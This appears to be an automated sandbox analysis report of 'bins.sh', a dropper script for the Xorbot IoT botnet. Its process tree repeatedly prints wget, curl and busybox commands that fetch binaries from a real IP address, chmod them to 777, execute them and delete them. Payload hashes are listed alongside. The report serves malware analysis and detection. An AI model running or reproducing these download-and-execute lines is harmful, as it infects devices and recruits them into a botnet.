Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23/01/2025, 15:22

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250123-srwhystndz
  • SHA256 505a626c966ea9a4aa39dfc55e109fa9c290f70dfe3c14ffc82e48d9e4182666
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 10 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 36 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:700
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:703
      • /usr/bin/wget
        wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:705
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:729
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • Writes file to tmp directory
        PID:808
      • /bin/chmod
        chmod 777 X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
        • File and Directory Permissions Modification
        PID:809
      • /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        ./X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
        2⤵
          PID:810
        • /bin/rm
          rm X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
          2⤵
            PID:812
          • /usr/bin/wget
            wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:813
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:814
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • Writes file to tmp directory
            PID:815
          • /bin/chmod
            chmod 777 rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
            • File and Directory Permissions Modification
            PID:816
          • /tmp/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            ./rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
            2⤵
              PID:817
            • /bin/rm
              rm rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
              2⤵
                PID:819
              • /usr/bin/wget
                wget http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:820
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:821
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • Writes file to tmp directory
                PID:822
              • /bin/chmod
                chmod 777 NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                • File and Directory Permissions Modification
                PID:823
              • /tmp/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                ./NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                2⤵
                  PID:824
                • /bin/rm
                  rm NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                  2⤵
                    PID:826
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:827
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:828
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • Writes file to tmp directory
                    PID:829
                  • /bin/chmod
                    chmod 777 WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                    • File and Directory Permissions Modification
                    PID:830
                  • /tmp/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    ./WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                    2⤵
                      PID:831
                    • /bin/rm
                      rm WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                      2⤵
                        PID:833
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:834
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:835
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • Writes file to tmp directory
                        PID:836
                      • /bin/chmod
                        chmod 777 96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:837
                      • /tmp/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        ./96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                        2⤵
                          PID:838
                        • /bin/rm
                          rm 96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                          2⤵
                            PID:840
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:841
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:842
                          • /bin/busybox
                            /bin/busybox wget http://94.154.35.94/bins/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • Writes file to tmp directory
                            PID:843
                          • /bin/chmod
                            chmod 777 MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:844
                          • /tmp/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            ./MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                            2⤵
                              PID:845
                            • /bin/rm
                              rm MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                              2⤵
                                PID:847
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • Writes file to tmp directory
                                PID:848
                              • /usr/bin/curl
                                curl -O http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:849
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • Writes file to tmp directory
                                PID:850
                              • /bin/chmod
                                chmod 777 cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                • File and Directory Permissions Modification
                                PID:851
                              • /tmp/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                ./cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                2⤵
                                  PID:852
                                • /bin/rm
                                  rm cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                  2⤵
                                    PID:854
                                  • /usr/bin/wget
                                    wget http://94.154.35.94/bins/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:855
                                  • /usr/bin/curl
                                    curl -O http://94.154.35.94/bins/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:856
                                  • /bin/busybox
                                    /bin/busybox wget http://94.154.35.94/bins/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:857
                                  • /bin/chmod
                                    chmod 777 9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:858
                                  • /tmp/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    ./9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                    2⤵
                                      PID:859
                                    • /bin/rm
                                      rm 9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                      2⤵
                                        PID:861
                                      • /usr/bin/wget
                                        wget http://94.154.35.94/bins/1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:862
                                      • /usr/bin/curl
                                        curl -O http://94.154.35.94/bins/1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:863
                                      • /bin/busybox
                                        /bin/busybox wget http://94.154.35.94/bins/1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:864
                                      • /bin/chmod
                                        chmod 777 1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:865
                                      • /tmp/1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                        ./1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                        2⤵
                                          PID:866
                                        • /bin/rm
                                          rm 1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                          2⤵
                                            PID:868
                                          • /usr/bin/wget
                                            wget http://94.154.35.94/bins/E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:869
                                          • /usr/bin/curl
                                            curl -O http://94.154.35.94/bins/E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:870
                                          • /bin/busybox
                                            /bin/busybox wget http://94.154.35.94/bins/E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:871
                                          • /bin/chmod
                                            chmod 777 E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:872
                                          • /tmp/E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                            ./E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                            2⤵
                                              PID:873
                                            • /bin/rm
                                              rm E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                              2⤵
                                                PID:875
                                              • /usr/bin/wget
                                                wget http://94.154.35.94/bins/UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:876
                                              • /usr/bin/curl
                                                curl -O http://94.154.35.94/bins/UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:877
                                              • /bin/busybox
                                                /bin/busybox wget http://94.154.35.94/bins/UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:878
                                              • /bin/chmod
                                                chmod 777 UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:879
                                              • /tmp/UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                ./UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                2⤵
                                                  PID:880
                                                • /bin/rm
                                                  rm UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                  2⤵
                                                    PID:882
                                                  • /usr/bin/wget
                                                    wget http://94.154.35.94/bins/48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:883
                                                  • /usr/bin/curl
                                                    curl -O http://94.154.35.94/bins/48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:884
                                                  • /bin/busybox
                                                    /bin/busybox wget http://94.154.35.94/bins/48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:885
                                                  • /bin/chmod
                                                    chmod 777 48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:886
                                                  • /tmp/48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                    ./48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                    2⤵
                                                      PID:887
                                                    • /bin/rm
                                                      rm 48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                      2⤵
                                                        PID:889
                                                      • /usr/bin/wget
                                                        wget http://94.154.35.94/bins/7neoCo8VHbZWKRm2s5QM79BAL8wQp3QxIn
                                                        2⤵
                                                          PID:890

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE

                                                            • Path /tmp/1K3F4cK9XWo7D6mTTZHGf0AfhFPojK3BkE
                                                            • Size 141KB
                                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav

                                                            • Path /tmp/48yPiyLVRJ6iNgdGd6nM5fW2ujYHtEZUav
                                                            • Size 127KB
                                                            • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP

                                                            • Path /tmp/96JSlE1WHMlW9I4DVANBronQ6xnFEc4fMP
                                                            • Size 111KB
                                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            9TO96JOAHWDYrzCUhaVflK3plCWna54vUn

                                                            • Path /tmp/9TO96JOAHWDYrzCUhaVflK3plCWna54vUn
                                                            • Size 177KB
                                                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN

                                                            • Path /tmp/E5l7uifBKBVGuye8BWtmfwszEQPKjMcyCN
                                                            • Size 99KB
                                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI

                                                            • Path /tmp/MQZm9j7zQKFGyUmSumNcjlmWMzPrTjFAYI
                                                            • Size 112KB
                                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8

                                                            • Path /tmp/NE06kuSbGhL7sZqspdRDIuyuWyfAG8uOj8
                                                            • Size 122KB
                                                            • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm

                                                            • Path /tmp/UJvVkU2mq3wfWLEQBH8R44Z945XimdL6Lm
                                                            • Size 119KB
                                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            WAvcQv82EymaB772d3y0TMPGqdv3teybHn

                                                            • Path /tmp/WAvcQv82EymaB772d3y0TMPGqdv3teybHn
                                                            • Size 107KB
                                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt

                                                            • Path /tmp/X9isEHHZ9mNnGDfS7Z4RgBMlZRSHOqOtNt
                                                            • Size 151KB
                                                            • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE

                                                            • Path /tmp/cHHbiZnd17MpZfbFfgEV6KUU3IBerGxwmE
                                                            • Size 98KB
                                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe

                                                            • Path /tmp/rH1XeSwaupTtFhA5tenZzdAlXZHHujtsAe
                                                            • Size 111KB
                                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                            • MD5 SHA1 SHA512 SSDEEP